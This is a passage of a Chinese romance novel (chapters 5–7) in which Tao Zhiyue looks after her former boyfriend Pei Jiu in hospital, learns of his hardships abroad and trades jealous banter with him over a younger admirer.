长久未知的猜想得到了印证,她却没有豁然开朗的感觉,只觉得越来越困惑。
陶织悦脑子里一团乱,这和她这么多年以来的认知完全不同。
裴究在国外的日子为什么要打三份工谋生?他家境优渥,自小可以说是锦衣玉食,十指不沾阳春水。而他在国外的日子却没有靠着家里的经济支持过得风生水起。
陶织悦还没忘记话题的起始:“所以你是怎么认得我的脸的?”
姚修回忆着细节:“学长随身带着一张合照,他常常盯着看,也不说话。照片上的女孩,和陶学姐一模一样。”
面对姚修这番话,陶织悦没有立刻全部相信。
如果当初裴究真的对他们的感情如此念念不忘,为什么出国如此决绝。他在消失后的这几年,也没有给她留下任何联系方式和讯息。
即便当时的真心真的存在片刻,现在又剩下多少呢?
这种感觉就像是从故纸堆里翻出一张过期的船票,本来拥有一个可以通往彼岸的机会,却早已错过了航班。
可以确定的是,裴究还有很多事瞒着她。
再往后便是交换生项目全部结束后,姚修和裴究回国,两人合伙一路打拼,爬上公司管理层的事了。
陶织悦在这些她从不知晓的、裴究曾经的生活碎片中收拾好心情,有些复杂地盯着那扇病房门。
他们从高中相识到大学交往,二十几年的大半人生里都共享着同一份记忆,围绕在对方身边。然而分离的这几年,好像把他们都重塑得不一样了。
这个她自以为非常熟悉的人,到底是怎么样的?她真的了解他吗?
她站在门前,深呼吸几次,摆出一副和出门前一样无知无畏的样子。
推开门,一具在衣衫下半掩半露、壮硕饱满的身体撞进她眼里。这一下太刺激,吓得她“啪”的一下又关上门。
屋内传来一句冰冷的“谁?”,陶织悦不敢应答,只能无声地咽了咽唾沫。
“陶小姐为什么不进去?”
跟上来的姚修见陶织悦站在门口,以为她遇到了什么困难,很自然地发问。
陶织悦又羞又恼,下意识伸手想捂他的嘴,理智又马上止住这份冲动。
这个音量,想必屋内的人已经听得一清二楚。
陶织悦只能硬着头皮按下门把。
果然,一进门她就受到了裴究注视的洗礼。
裴究换上了一身宝蓝色衬衫,衣服还没来得及扣好就被她打断了。这件衬衫版型很正,勾勒出他宽肩窄腰的轮廓。
陶织悦不知道把眼睛往哪放,只好先盯着地板缝。
姚修:“裴总,我先回公司了。”
裴究点点头,姚修便退出了房间,还贴心地关上了门。
这个封闭的空间又只剩下他们两人。
人在尴尬时会显得很忙,这话不假。因为陶织悦拿起喷壶,给床头的小雏菊喷了五分钟的水。
在一阵难耐的沉默中,裴究终于看不下去了。
“小雏菊不需要这么多水。”
“别给我浇死了。”
陶织悦讪讪地放下喷壶。
裴究眨眨眼,提出一个请求:“帮我拿下那本书,谢谢。”
朝桌角望去,一本厚重而陈旧的书立在一堆华丽的置物中间。陶织悦拿起来感觉沉甸甸的,书页被磨损得有些光滑,看得出来主人没少翻阅。
表面镀上了几个烫金的大字:香水发展史典藏版。
陶织悦将书递给他,顺便坐在了床边的陪护椅上。
坐了一会,她后知后觉反应过来:昨天好像还没有这把椅子。
姚修行色匆匆,不会在这里长待。
这段时间里也没有其他人来探望裴究。
所以,这把椅子是专门为她准备的?
陶织悦挪挪屁股,趁机偷看一眼床上的男人,想着他为什么一直不把衣服穿好……
有些古怪的想法慢慢发酵,还没膨胀多大就被裴究突然的话戳破。
“你们聊得很开心?”
陶织悦想着他应该是指的姚修吧。
她很诚实地点点头:“姚修性格挺好,人也挺好说话的,告诉我了一些我之前不知道的事。”
“难怪你们在外边待了那么久,”裴究自顾自点点头,“看来你们确实很投缘。”
啪!他把书猛地放上,往陶织悦的方向一送。
陶织悦毕恭毕敬地接下来。
毕竟是因为她,裴究才骨折的。照料这一方面,她一定会尽心尽力的。
陶织悦低头,那本《香水发展史》正摊开在目录页!
敢情刚刚这么长一段时间,裴究都是在走神。
陶织悦把书本放回去,又听见裴究指挥她把床头的香薰蜡烛点上。
她已经完全放松下来,随即和裴究唠起了家常。
“你果然还是这么精致,在医院也不忘点香薰。”
滋啦划开火柴,一点火光跳跃着吻住蜡烛,随即飘起白色的烟雾。
“香薰?”裴究哑然失笑,“谁告诉你这是普通香薰?”
“不是吗?”陶织悦直起身看着他。
裴究卸掉全身力气,靠在床头闭目养神。
“是助眠香薰。”
陶织悦歪了歪头,盯着那冉冉的烟雾。
烟雾颗粒从烛体散出,交织纠缠着升腾,最后消失在虚空。一点幽香萦绕,带着些许轻微的苦涩感,反倒有了让人心安舒展的感觉。
不知道是太安静太无聊了,还是这个助眠香薰真的很有功效,陶织悦的眼皮越来越沉,意识却越来越轻,头脑逐渐空白……
迷迷糊糊中有什么东西盖在了她身上,暖意涌上来将她裹住,梦境也更加酣甜。
梦里她好像变成了一只小狗,正在草地上撒欢。她喜欢自己白色的卷毛,在草地上滚一圈会沾上晶莹的露水。
她正趴在草地上观察自己的小爪子,一个巨大的黑影将她笼罩。
一抬头,身型变得巨大的大毛正威武地挺着胸脯看她。
大毛浑身发出金光,睨她一眼,随后庄严开口:
“红灯停,绿灯行。过马路的时候记得先看左右,不要在马路上乱跑,最好过斑马线,那样
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被撞了赔得多……”
陶织悦:……
睁开眼,病房顶部的白炽灯亮得刺目。她伸手去挡,盖在身上的物件也滑下来。
是裴究的西装外套。
这个小小的动静也吵醒了裴究。
那对密长的睫毛颤抖两下,挣扎着向两端分开,露出一双茫然平和的眼眸。
他困惑地在房间里扫视一圈,缓慢地眨眼,单纯像一个午睡被打断的孩子。大概意识到什么,随之眉目一冽,闪过一点讶异。
陶织悦鬼鬼祟祟地捡起那件外套,一转眼发现裴究正看着她。
“不好意思,吵醒你了。”陶织悦把外套折好,放在椅子上。
裴究摇摇头:“我睡得很浅,不是你的问题。”
几秒后,他斟酌言辞,语气里有些不确定。
“我睡着了?”
陶织悦对着他点了点头。
时间不早了,她也该走了。她收拾起自己的东西,跟裴究道别。
“你明天还来吗?”
床上传来一句带点试探意味的问。
“来啊,”陶织悦理所当然地回答,“我肯定要照料到你完全好了为止。”
她将铁壶碗具都收纳好,向裴究示意一下,便转身出门。
“等一下。”
她转回身来,有点疑惑。
裴究朝她招招手,叫她过去。
陶织悦很听话地过去,耐心倾听这位伤患的所有需求。
“低头。”
陶织悦又乖巧地低下脑袋。
裴究伸手抓住她耳畔翘起来的一缕发尾,往下一压。
原来是头发又翘起来了。陶织悦的发质偏软,很容易变形。每天早上站在镜子前,她都能刷新出新的随机造型。
脖颈上与裴究手掌相触的地方有种奇怪的摩擦感,传来粗糙的热意。
这是,茧子?
陶织悦有些不可置信地低头确认。
裴究的指缝竟然排布着些不规则的茧子,她从没注意到。脑海里翻涌出姚修描述的那些场景,此刻都变得具象化起来。
发现她脸上的表情变得不对劲,裴究也意识到自己的疏漏,倏地收回手,却被陶织悦一把抓住。
“这茧哪来的?”陶织悦直截了当地问他。
裴究往外挣脱开,淡然地回答:“出差地调留下的。”
“是吗?”陶织悦身子俯得更低,几乎要贴在他身上,“看来娇贵的裴大少爷也要辛苦亲自干活。”
裴究微微仰头,鼻尖擦过她垂下来的头发,有点痒痒的。
他胸膛缓慢地起伏,喉结上下滚动。
“这是工作的一部分。”声音沾染上几分低暗。
他以前根本没有生茧。这样程度的痕迹,显然是他们刚分开后那几年形成的。
而裴究显然不打算坦白。
陶织悦不轻不重地抚拭那硬实粗糙的指跟,目光也随之刮来刮去。
“会疼吗?”
她开口,只是问了他的感受。
“已经不会了。”
得到回答,手掌随之被松开,只剩空。
裴究下意识去捕捉那逝去的温度,指尖一抖,又克制地放下。
陶织悦直起身,不咸不淡地道别:“那么,晚安。”
女孩转身,随着脚步声消失,空荡的房间里一阵死寂。
晚安吗?他反复品味那句话,颓然地陷进被窝里,闭上眼睛。
他已经很久睡不好觉了。
刚刚的短眠对他来说已经是恩赐,她赐予他的。
今晚又是不眠之夜。
5. 指月
“公司准备在国内市场推进新系列产品,目前会议决定联动一位知名视频博主拍摄广告宣传片,以此作为扩展知名度的传播媒介……裴总?”
姚修的目光在文件和裴究之间来回穿梭,最后还是忍不住提醒一句。
裴究陷在床头和窗帘之间的阴影里,看不清神色。
他抬起眼皮:“拍摄宣传片,会上讲过了。”
姚修:“您看起来精神不太好,是又失眠了吗?”
裴究恹恹地抬起头,眼下有一片淡淡的乌青。
她这几天都没来,不守信用。
心里有点莫名烦躁,裴究把胸口那股气往下压了压,转而把矛头对准他旁边那位。
裴究审视着姚修:“那天她来医院,你是不是说了什么。”
姚修被盯得背后发毛,但在专业素养的支撑下还是露出一个诚恳的笑,使自己看起来尽职又尽责。
“是陶小姐看出了端倪,我只是向陶小姐透露了一点点细节。”姚修说的是真话,至于那一点点是多少,总是无从考究的。
当年他家碰上经济困难,裴究还没在公司站稳脚跟,却毫不犹豫地掏出身上大半资金来帮忙周转。这也是他死心塌地跟着裴究的原因之一。
这份恩情他会一直记得,他也真心希望裴究能迈过人生所有的坎,无论裴究愿不愿意。
“有些事她不用知道。”裴究抿了抿嘴,还是下了这样的决定。
姚修点头,又指指桌上的手机:“您需要联系一下陶小姐吗?”
裴究望着安静躺在那里的手机,又看了眼姚修。
姚修收到信号,善解人意地离开了他的视线。
*
其实陶织悦不是故意要吊着裴究的,她这几天实在太忙了。
乐言回老家参加表姐的婚礼去了。好巧不巧,小郑也生病请假了。亚罗卡人手紧缺,所以这几天她一直待在店里走不开身。
陶织悦抓紧时间趴在前台桌歇息,神思渐渐迷离。
“你好,有人吗?”一个年轻男声不合时宜地落入她耳中。
她迷糊地抬起头,看见一个穿着白T和淡蓝色条纹衫的年轻男人,戴着的白色渔夫帽可以看出来是刚从外边回来。
见到她,男人露出惊喜的神色。
“陶织悦小姐。”
陶织悦认真地辩识着面前这张脸,在存放往客人的记忆库里搜寻一遍,没有得到结果。
“你是……?”陶织悦问。
男人笑笑:“我来的那天你喝醉了,也许对我没印象了。”
陶织悦反应过来了,原来是那天晚上的那个幻影般、像裴究的身影主人。
陶织悦感到一点不好意思,但秉承着公事公办的态度地问:“那么,今天是要来取走爱宠吗?”
“是,我来取走一只叫椰子的萨摩耶。”
陶织悦顺着登记表格一行行找下去,看到了登记者的名字:黎扬清。
“黎先生,你有个很好听的名字。”陶织悦抬起头对他微笑,“先坐吧,我去接椰子出来。”
她示意一下旁边的椅子,随后倩影一晃消失在身后的门。
黎扬清盯着她消失的地方,暗暗雀跃。他正准备找个位置坐下,忽然听到前台传来一阵手机铃声。
应该是陶织悦的手机。
他本不想管,但那铃声响得又急又长,足足响了五分钟还没停。
时间在单一的重复中被拉得很长。
或许是什么急事呢?
黎扬清心念一动,接起那个电话。
“喂。”他等着对面的回应。
然而对面像是没反应过来,沉默了好几秒,也没有任何动静。
“陶织悦呢?”一个有些低沉的男声传出来,语气有点不悦。
黎扬清察觉到一点莫名的敌意,但如实回答:“陶小姐有事在忙,有什么急事可以先跟我说。”
听筒那端的人似乎深吸了口气,克制地答复:“不用了,我后面再找她。”
干脆利落地挂了。
黎扬清看了眼手机上的备注,是很正经的名字:裴究。
他刚放下手机,陶织悦就牵着白白胖胖的椰子出来了。
椰子好几天没见到他,一出来就朝他转圈,又向他怀里扑来。黎扬清陷在蓬松的白毛中,眉目舒展,很有阳光的少年气。
陶织悦看着一人一狗的温馨相聚,也不住露出些真心的笑。
黎扬清揉揉椰子的头,动作凝滞了几秒。
“陶小姐不常待在店里吗?”
“嗯?”陶织悦眨眨眼,没料想到这个问题。
他有些不好意思地解释道:“那天晚上之后,我偶尔会经过亚罗卡,但是没看到你。”
“哦,是啊。”陶织悦点点头,“这里更多的时间是乐言在打理——就是另一个女生。
陶织悦和聂乐言虽然是合伙经营,但其实是三七分账。亚罗卡不是陶织悦唯一的阵地,她另有一个第二职业。有时候她出去拍片子,一消失就是好几周,甚至是一个月。这时候就都是聂乐言在管理亚罗卡了。
黎扬清:“这样。”
陶织悦:“嗯。”
黎扬清:“那,期待下次来这里还能见到陶小姐。”
他眼神温和而明亮,像是真的非常期待的样子。
椰子已经迫不及待要出门玩耍了,眼见主人终于要结束话题了,一股脑就地向门外跑。
黎扬清被手上的牵引绳拽得晃了几步,抱歉地摆摆手,就被拖出了门外。
是个很可爱的人呢。陶织悦低头去整理前台的表格,瞥见手机上弹出几条信息。
【裴究】:在?
已经是十几分钟前的事了,后面还打了一个电话。
微信和电话都是出电动车车祸那天加的,这是裴究主动发来的第一个消息。
她指尖一点,发了个言简意赅的问号过去。
聊天框顶部很快出现“对方正在输入中……”,然而过了好一会,屏幕左边都没有动静。
等到陶织悦的耐心耗尽,准备放下手机的时候,对方终于发来了一个小气泡。
【裴究】:没事。
莫名其妙。
陶织悦退出聊天框,点开她的工作群。
【阮糖很好吃】:桃子姐,这是品牌方发来的需求和合同。
【阮糖很好吃】:【文件】
【阮糖很好吃】:【文件】
【阮糖很好吃】:【文件】
陶织悦看着那一长串文件,太阳穴突突跳动。
头好痛。但据对接的同事说,对面出手很阔绰,她于是耐下心来翻阅文件。
森德瑞香水。陶织悦知道这个品牌,是国外商业版图不小、很有名的老字号中高奢香水。今年开始进军国内,本部就入驻在本市。
他们计划要在国内打开知名度,同时向市场推销走亲民平价路线的新系列产品。
如今是网络媒体的时代,他们千选万选,最后向陶织悦团队抛出了橄榄枝。
陶织悦在国内某知名视频平台有着相当体量的粉丝数。账号“指月人间”拍摄以文化纪录、人间烟火为主的小短片,制作精良、口碑优异。
拍摄团队的核心与编导都是她,但她从未在社交平台和线下活动露过面。
因此除了聂乐言和家里人知晓一二,没有人知晓她的真实身份。
“指月”的幕后人,更像是一个神秘的符号。
打开过往的视频复盘和资料,她入神地翻阅文件,不时地在纸上记下几笔,就这样从天亮一直坐到天黑。
门外从熙熙攘攘到夜深人静,整座城市都陷入睡眠。
直到胃里搅动收缩,她才后知后觉感到一阵饥饿,肩背也酸痛起来。她专注起来常常这样废寝忘食,乐言在的时候总忍不住说她两句。
陶织悦靠在椅子上调整坐姿,起身一站,腿麻了。
点亮手机,竟然已经是半夜十点半。
店里的暑假工早早下班,还贴心地为她关上了店门。在灯火通明的室内,她就这样毫无察觉地坐了七八个小时。
她轻轻上楼查看小动物们的睡眠,顺便活动活动手脚。
各色的猫咪们睡得满地都是,左一团,右一叠,像河滩边形态各异的鹅卵石。
狗狗们也是安然入梦。偶尔有几只不太安分的,划拉两下腿,翻个身。
陶织悦放心地下楼,准备找点吃的。她在楼下的杂物堆里翻了半天,翻出一包宠物肉干。
看了一眼配料表,她大大咧咧地撕开,准备往嘴里送。
一转身,脚边碰到什么柔软的东西。
豆豆眨巴着小黑眼看着她——手里的肉干。
这小家伙,竟然偷偷跟着自己溜出来了。陶织悦伸出一只手指戳它的脑袋。
就你这小家伙!一天到晚精力最旺盛!吃得多拉得也多!
豆豆反抗地叫了一声,嘴筒子马上被陶织悦握住。
“别叫别叫。”为了息事宁狗,她手疾眼快地把肉干往狗嘴里塞。
贪吃的小柴犬得了零食,乖巧地大嚼起来。
这下没吃的了,陶织悦感觉脑袋有点晕,不知道是饿得还是困得。
朝空荡荡的外边望一圈,超市、饭店、小摊基本上都关了门,只留下阴影里孤独的空壳。
这座城市的基建很完善,即使到了半夜,街道上依旧灯火通明。顺着明亮得很有安全感的街灯一路望去,还能看到医院住院部闪烁的指示牌。
她记得裴究那个VIP住院区好像是全天开放的。
但这个点,裴究大概已经睡了吧。
秉承着碰碰运气的心态,她再次打开裴究的聊天框,发去一句“睡了吗?”。<
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p>没想到很快就收到了回复,快到陶织悦怀疑裴究是不是把手机拴裤腰带上了。
【裴究】:还没。
【陶织悦】:你那里有吃的吗?
虽然有点难为情,但她实在是饿得慌。
小气泡很快地冒出来:有。
陶织悦轻松起来,想着肚子有了着落,不免有点放飞自我。
【陶织悦:】求收留,给口饭吃吧【星星眼.jpg】
【裴究】:想吃什么?
【陶织悦】:想吃天上飞的地上跑的水里游的。
裴究没有犹豫,马上发来一个言简意赅的“好。”
陶织悦只是随口一说,没想到裴究好像当真了。这大半夜,他上哪整天上飞的地上跑的水里游的?
她简单收拾,锁好店门一路向医院去。
夏天的夜晚不燥不寒,像泡在暖汪汪的温水里一样舒坦。
不过十分钟,她就出现在了住院部的VIP区。
夜晚比白天更能展示这里低调的奢侈。绕过亮堂堂的大厅,水晶吊灯闪得她眼花缭乱。大理石地面一尘不染,是扫地机器人二十四小时不间断运作的结果。
陶织悦不由得发出感慨:有钱真好。
裴究矜雅、自持,好像天生就属于这样的场合。
陶织悦这次长记性了,先在门口敲了敲,听到裴究的应答才进去。
一进门,她就看到了床头柜上一盒巨无霸卤味大杂烩。一眼望去,卤鸡爪、卤牛肉、卤猪蹄、卤鱼块、卤鱿鱼、卤藕片、卤鸽子、卤鸭舌,应有尽有,真的做到了集天上飞的、地上跑的、水里游的于一体。
陶织悦瞠目结舌,裴究总有办法。
她一秒都等不了了,没等裴究说一句话,已经自觉地戴上了塑料手套大朵快颐。
酱香浓郁、软糯多汁,吃得她忘了情、发了狠,已经不知天地为何物了。直到她风卷残云地将一盘子卤味都搜刮干净,感受到胃袋传来饱满的安心,才停下动作。
吃了半天,才意识到这是在裴究的病房里。
裴究正撑着下巴安静地看着她,像在看一只勤恳收集食物的的松鼠。这只小松鼠腮帮子鼓鼓的,脸上还沾了点酱汁,却毫无察觉,只是傻傻地看着他。
“裴究,我有种特别奇妙的感觉。”
“什么?”裴究正抽起一张纸巾,递给她。
陶织悦接过来,在脸上一阵乱抹。
“以前你也是这样,在课间掏出一份偷带的小吃塞给我。”
“可是我们明明已经长大了,还会在晚上一起偷偷吃东西,你说好不好笑?”
陶织悦自顾自笑起来,在椅子上东倒西歪。
夜晚静谧如斯,只有月亮在从窗帘后悄悄探头,除此以外万籁俱寂。
男人怔住,只是望着她,眉目间透出几分动容的柔软。
“还好意思说,是谁看到老师来了,把刚出炉的烤红薯塞我衣兜里,差点把我烫伤。”他也露出点笑意,食指在她额头上推一下。
陶织悦抓住脑袋上作祟的手指,不服气地说:“我亲手给你涂药,将功补过了!”
“我才没欠你什么。”她挠挠下巴,又补上后半句,“这次的意外不算。”
床上的男人低低地笑了一声。
“你那辆小破车,换一辆吧。万一再出一次意外,要轮到你吃苦了。”他转而低头去摆弄手机。
陶织悦有点为难,纠结道:“毕竟用了很久了,还是有感情的,也不好说换就换。”
她抬起头,和男人碰上了视线。
“时间久了就会有感情,舍不得吗?”他又重复了一遍,说得缓慢。
显然他说的不是车。
陶织悦低头。
裴究见她不回答,也不再深究。他举起手机,点点屏幕上的订单。
“你的新车,明天记得去取。”
嫩黄色车身,两端有两个圆圆的后视镜,这辆预订的新车和她旧车一模一样,安排在离她店铺最近的分行自取。
陶织悦没想到,他只在混乱的雨天见过一眼,竟然连那辆破车的牌子和型号都记住了。
“不好吧……”她把人创进医院,结果苦主还要送她辆车。
男人把手机放下,欣然道:“撤不了单。”
她坚持:“那我把钱转给你。”
裴究见她执着要还,没有再推诿,只是垂下头。
安静的空气中,他轻叹一声。
“陶织悦。”他突然叫了她的名字。
名字就像咒语一样,被呼唤着有种奇妙的感觉。她不由地紧张起来。
裴究在她的目光下,欲言又止。
“要算得这么……”他出口,又顿住。
是啊,他们已经不是过去那样亲密一体的关系了,怎么忘了呢?
这句话的末尾化成风,最终消散了。
6. 布朗尼
成年人的生活有点苦逼。
来不及追忆剪不断、理还乱的旧情,陶织悦就昏天黑地地陷入了拍摄广告宣传片的准备工作。
痛苦是创作的养料,在很久以前她就开始用这种方法去遗忘和看淡一些什么。
刚结束一场线上视频会议,陶织悦摘下工作专用的银丝细框眼镜。她随手扎了个毽子头,显得干练又利落。
聂乐言知道她又投入了新的工作任务,所以心照不宣地接替了亚罗卡的事务。不过今天是小米足月去打疫苗的日子,陶织悦要抽空去亚罗卡坐镇一下。
陶织悦随便跨起个帆布包就出门,顺手提走了张婶门口的垃圾。
夏天快要结束了,这意味着暑假也要一溜烟溜走了。店里的几个暑假工妹妹不再叽叽喳喳,全都蔫蔫地垂着头。
陶织悦忍不住笑了,答应请她们吃小蛋糕。几个女孩一下又活泼起来,像小鸟一样簇拥在她身边,热火朝天地讲小话。
“陶姐姐,你不知道吧,”徐嘉妍指着贾琴,“她马上要和她男朋友去上同一所大学了!”
店里顿时一阵起哄唏嘘。
贾琴一下羞红脸,不好意思地拍打几下徐嘉妍,两个人闹着缠在一起。
几个素不相识的女孩聚在这里,在两个月的时间里都成为了朋友。
陶织悦很高兴,看着她们就像看到了几年前的自己。
徐嘉妍突然拽了拽陶织悦的袖子,凑到她耳边:“陶姐姐,那个人又来了。”
陶织悦闻言向外看去,透过落地窗看到一个熟悉的面孔。
黎扬清踏入店门,手里还牵着椰子。只是椰子有点耷拉着头,脚步也略迟钝。
“这已经是他这个月第四次来洗狗了。那只萨摩耶白白净净的,哪里需要洗那么多次?”徐嘉妍同情地看着他,指指脑子,“你说他长得这么帅,是不是脑子有问题……可惜了。”
陶织悦:……
她大概知道黎扬清是来找谁的。
黎扬清熟练地把椰子交出去,很自然地朝她挥挥手。
椰子哀嚎几声,四腿一瘫趴在地上,不愿进洗浴房。
陶织悦哭笑不得,主动提出建议:“椰子不太乐意,你们先陪它玩会儿吧。”
又转而对着黎扬清:“黎先生,我要去买点东西,方便帮我提下吗?”
就这样成功支走黑心主人,顺利解救可怜小狗。
陶织悦选了本市蛋糕做得最好的一家店。不是蛋糕店,而是咖啡厅。
这家咖啡厅最出名的是各种西式点心和特色蛋糕,甚至有许多人专门跨城开车来这里,只是为了蛋糕,再顺便喝一杯咖啡。
很巧,正好是她和裴究重逢的那家。
陶织悦自掏腰包选了现在最时兴的几款限定。
做蛋糕的时间,两人坐在咖啡厅里等着出餐。
“黎先生是来找我的?”陶织悦开门见山。
黎扬清为陶织悦倒水的动作顿了一下,抬头看她。
“给陶小姐造成困扰了吗?”
陶织悦摇摇头,毕竟一个月洗四次澡的也不是她。
她接过水杯,喝了两口润嗓,又放下。
“其实可以直接叫我的名字,你也说过——我的名字念起来还不错。”黎扬清眨眨眼,双手都放在身前,两人间的距离也连带着缩短了一些。
陶织悦笑:“我们看起来确实差不了几岁,黎扬清。”
她话头一转:“不过你还没毕业吧?上次我们见面的时候,你的校园卡还漏在口袋外边。”
黎扬清有点意外,眉峰也上挑了一点:“是,我开学大四,就在本地读大学。陶小姐的观察力好强,是一贯如此,还是对特定对象的细心?”
他说话不急不缓,在某几个字上还加了点抑扬顿挫的起伏。
“你希望是哪一种?”陶织悦垂眸微笑,没有走进他话里的圈子。
黎扬清:“其实那天我到亚罗卡……”
话未说完,陶织悦的手机就响起一个不合时宜的来电。
黎扬清看见手机来电上那个眼熟的名字——裴究,微不可察地眉头一拧。
裴究应该不会轻易给自己打电话,陶织悦毫不犹豫接通:“喂?”
沉默几秒,耳边传来裴究慵懒的声音:“……没事,打错了。”
陶织悦:……
“先别挂,你前几天有东西落在我这里了。”
东西?这几天她又忙着干活,上次去医院已经是好几天前蹭卤味的时候了。
为了还他的“一饭之恩”,她还专门来这里采买甜品准备回馈。
陶织悦宠幸起工作来叫一个“荒淫无道”,尤其是这样的大活,她为此已经闭关在家好几天。搜刮了半天远古的记忆,她也没想起来会有什么东西落在医院。
“什么东西?重要吗?”陶织悦正思量着可能遗失的东西,忽然看见店外晃过一个熟人。
姚修身着那身职业装,匆匆消失在街道的拐角,手上还提着一个深红夹鎏金的的包装盒。
包装盒?陶织悦转过头去看店员放在吧台上的打包盒。
深红为基底,鎏金色暗纹在盒面勾勒出咖啡厅的logo,显得精致典雅。
这时店员已经包完最后一个蛋糕,低头查看着纸质小票喊道:“陶小姐,您的餐品好了。”
*
十分钟后,陶织悦穿行在医院的走廊,敲响那扇门。
裴究嗜甜如命,一向不喜欢有人在他享用甜品的时候打扰他,眉毛一沉,朝门口抛去一个眼刀。
陶织悦一只手插在兜里,衣摆划出一个有力的弧度,风风火火地闯进他的领地,把手向他一摊。
“我的东西呢?”
裴究嘴里叼着小叉子,很是从容地把手放进口袋。摸索几下,掏出一个轻飘飘的东西,放进她的手心。
陶织悦看去,手掌中央放着一条极轻极小的细黑发圈。
“就为了这个东西把我招来医院?”陶织悦盯着裴究,觉得好笑。
裴究自得地刮下一块松软的糕体,没有抬眼看她:“感谢的话可以留着。”
厚,颜,无,耻。
陶织悦不禁想为他的厚脸皮鼓掌。
她转而挑起新的话题点:“裴总真是好兴致,这块蛋糕……看着也很眼熟呢。”
“哎呀,不会是那家咖啡厅的吧!”她浮夸地阴阳怪气,“很巧,我刚刚也在那里呢。但我现在突然怎么出现在医院?”
叉子在蛋糕上戳两下,红酒巧克力慕斯被折腾得东倒西歪的。
这是裴究在思考的表现。他认为吃甜品是一件很神圣的事,很少这样玩弄蛋糕。
“很巧,我想吃了,姚修就代我去买了。倒是陶小姐你……一个人吃不够,还要再带上一个人。”
最后几个字像从牙缝里发出来,有点闷闷的。
“裴总真厉害,人虽然在这小小的医院里,却能知道天底下所有事。”陶织悦走近他身侧,“真的不是在我身边安了监控吗?”
裴究嗤笑一声:“我倒是想亲自去买,可惜我只能待在这个小小的医院里,也不知道是为什么。”
陶织悦:……
她认输了。她投降。
但还没完。
她还有一个终极大杀招。
陶织悦上前一步,缓缓端出一直放在背后的包装盒。
一时间,裴究的床上桌出现两个一模一样的包装盒,像复制粘贴的。
裴究显然没有想到这一步,眼睛在包装盒和陶织悦间来回游移,手里的小叉子也悬在半空。
“那神通广大的裴总,有料想到店里最后一份红酒布朗尼会在这里吗?”陶织悦扬起一个略带得意
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的笑。
她的眼睛是圆润的杏眼,眼角上挑起来会显出点少女般的傲气。
细白的两指一拉丝带打成的蝴蝶结,包装盒散开,露出中央几块夹着坚果碎、浓郁醇厚的布朗尼。
“我为了某人专门跑去店里现场购买,没想到却被一个电话叫过来,还没有收到什么好脸色。”陶织悦瘪瘪嘴,眉眼间却有几分揶揄。
裴究一下哑火,面上的从容有了裂隙,看着那几块布朗尼,欲言又止。
姚修本来要买的就是红酒布朗尼,这是裴究最钟爱的甜品,十几年没有变过。但被店员告知最后一份已经售罄,只好退而求其次换了红酒巧克力慕斯。
没想到现在却静静躺在他面前。
陶织悦看着他脸上闪过的错愕,胜负心得到了极大的满足。
他们在进行一场幼稚的较量。
明明是两个在各自领域都有建树的人,但只要碰上,就会莫名其妙开始这些拧巴的交流。
她紧盯着对方的脸,仔细抓住他的每一个细微的表情。
得知她和黎扬清待在一起,他就一个电话打来,到底是出于什么样的意思,这样的意思又有几分?
尽管她尝试着克制自己,但心底仍然还藏有一点小小的期待,这种期待来自一个隐秘的角落,她一时也没有察觉从何而来。
“……谢谢。”裴究肉眼可见地僵住了,只能生硬地道谢。
“然后呢?”
“留下来一起吃,反正你现在也没有约会对象。”他说得有点勉强,其中有些不明的意味。
“那你赶走了我的约会对象,没有什么补偿吗?”
“……”
裴究在这场交锋中溃不成军,从某个节点开始已经彻底落在下风。
陶织悦看着他微微垂眸,再抬起头已经完全换了一副面目。
那是很锐利的、不加任何掩饰、锋芒毕露的目光,搅动着一些暗沉的欲望。
“你想要我怎么补偿?”
这下轮到陶织悦语塞了。面对这个直白的眼神,她反而生出一些退意。
裴究的头微偏一点,眼睛紧迫地追上来:
“陶织悦,你希望我怎么做?”
她的脑子彻底空白了,只觉得嗓子眼被什么堵住了。她尝试说点什么,喉咙里却发不出一个音。
几声突兀的敲门声。
姚修一直站在门外不敢进去,里面唇枪舌剑越发激烈,氛围也是越来越奇怪。但手上这份文件非常着急,无可奈何的,他只能趁着这个空档敲门打断这一切。
把文件递给气场危险的裴究,他感觉被什么紧张的空气扼住了。
果然,压力一下子给到他身上。他清清嗓,想说点什么缓和一下气氛。
“快到饭点了,陶小姐要不要留下来一起吃个饭?”
陶织悦:“……不用了。”
一旦产生能离开这场对峙的可能性,她就再也站不住脚了。
她后退两步,还差点撞上门。刚走了几步,就被背后叫住。
“既然是你说要照料到我完全好起来,麻烦你常来医院……别总是一声不吭地把我丢在这里好几天。”
陶织悦点了点头,迅速离开了这个房间。
姚修看着门外消失的背影,终于找到机会汇报。
“裴总,听说您回国,您家里又派人送了东西来。”
“原封不动退回去。”裴究慢慢敛回失控的情绪,眼神变得平静起来。
他看向那抹俏影消失的方向,思绪渐渐飞远。
“但先不要跟他们撕破脸皮。我们刚刚回国,新产品也还没有上市,还不是可以肆意妄为的时候。”
等等他吧,等他把一切安定下来,有足够的底气和裴家掰手腕,就能放手去追逐他想要找回的东西了。
拜托了,再等等他。
7. 似幻梦
陶织悦果然信守承诺。在接下来一周里,她在裴究病房的出勤率达到了百分百。
有时候她是早上来,叼着一块三明治,拎着一袋热乎乎的早饭,穿过湿润的晨雾带来燥热的烟火气。
有时候她在亚罗卡忙完一天,顶着一头猫毛来到医院,直到裴究提醒才发现。
还有时候,她索性带着笔记本电脑和黑眼圈坐在床边,一声不吭地敲电脑。裴究一言不发,端着烧水壶为她面前的玻璃杯续上水,又伸手一扯绳子,打开旁边的台灯。
生活就这样徐徐展开,多姿多彩地铺在裴究面前。
他早把陪护椅换成了小沙发,床头柜的小雏菊也每天都更换成不同的花束。
白玫瑰、青桔梗、郁金香、小苍兰、木绣球……那些清丽的花朵在这方小天地舒展,芳香怡人。
病房越发像个有人情味的家了,两人还时不时上演些二人转小剧场。
比如,裴究偶尔嘴贱惹毛了陶织悦,陶织悦会微笑着把他的方糖摆在桌子的另一端。
裴究只能沉默着喝下一整杯黑咖啡。
比如,裴究每天在晚上九点半被陶织悦强制关机。
美名其曰:熬夜会导致骨质疏松,不利于他的疗愈。
由此,安眠香的消耗量竟然也大幅度下降。
姚修觉得日子轻松了不少。毕竟他可没有办法这么管着裴究,而现在他只需要偶尔多订一份饭,其他的不需要他操心。
穿过走廊,他悠然自得地踏进病房,却只见到裴究一个人待在房间。
“陶小姐呢?”他下意识问出声,又反应过来——或许裴究比他更想知道答案。
陶织悦今天还没来过。
桌上的手机没有拨通电话,收获的只有一阵忙音,机械地重复。
姚修观察着老板的脸色:“裴总,要叫点人去找找吗?”
裴究摇摇头。
姚修见状,又退出病房。
房间里陷入沉寂,时间像凝滞的河流。
